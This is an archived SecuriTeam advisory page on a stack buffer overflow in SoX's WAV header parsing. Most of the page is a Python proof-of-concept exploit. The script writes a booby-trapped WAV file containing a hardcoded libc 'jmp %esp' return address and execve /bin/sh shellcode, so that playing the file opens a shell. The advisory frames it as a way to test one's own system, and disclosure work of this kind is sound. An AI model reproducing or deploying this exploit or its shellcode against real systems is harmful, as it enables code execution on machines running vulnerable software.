SecuriTeam - SoX Local Buffer Overflow Exploit

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

As we reported in SoX Local Buffer Overflow Vulnerabilities (st_wavstartread), SoX is vulnerable to a buffer overflow attack when processing WAV files. The condition occurs due to a user controlled length variable which is used to copy data to a local buffer without any bounds checking.

The following exploit can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by Serkan Akpolat.

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Exploit:
# POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
# Tested Under Slackware 9.1
# Serkan Akpolat sakpolat@gmx.net | deicide@siyahsapka.org
# Homepage: http://deicide.siyahsapka.org
# Greets to: Virulent
# deicide@gate:~$ play britney.wav
# sh-2.05b$

# "jmp %esp" from libc.so , change this if needed..
retJmpEsp=0x4029824B

# intel_order() from MOSDEF
def intel_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str

# Wave Header
begin = "\x52\x49\x46\x46\x74\x05\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20" +\
"\x32\x00\x00\x00\x02\x00\x01\x00\x70\x17\x00\x00\x00\x0c\x00\x00" +\
"\x00\x01\x04\x00\x20\x00\xf4\x01\x07\x00\x00\x01\x00\x00\x00\x02" +\
"\x00\xff\x00\x00\x00\x00\xc0\x00\x40\x00\xf0\x00\x00\x00\xcc\x01" +\
"\x30\xff\x88\x01\x18\xff\x66\x61\x63\x74\x04\x00\x00\x00\x00\x00" +\
"\x00\x00\x64\x61\x74\x61\x00\x00\x00\x00\x4c\x49\x53\x54\x9a\x01" +\
"\x00\x00\x49\x4e\x46\x4f\x49\x41\x52\x54\x08\x00\x00\x00\x44\x65" +\
"\x69\x63\x69\x64\x65\x00\x49\x43\x52\x44\x7e\x01\x00\x00"
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
wavFile = open("britney.wav", "wb")
wavFile.write(evilBuf)
wavFile.close()
print "Evil Song has been created :Pp"

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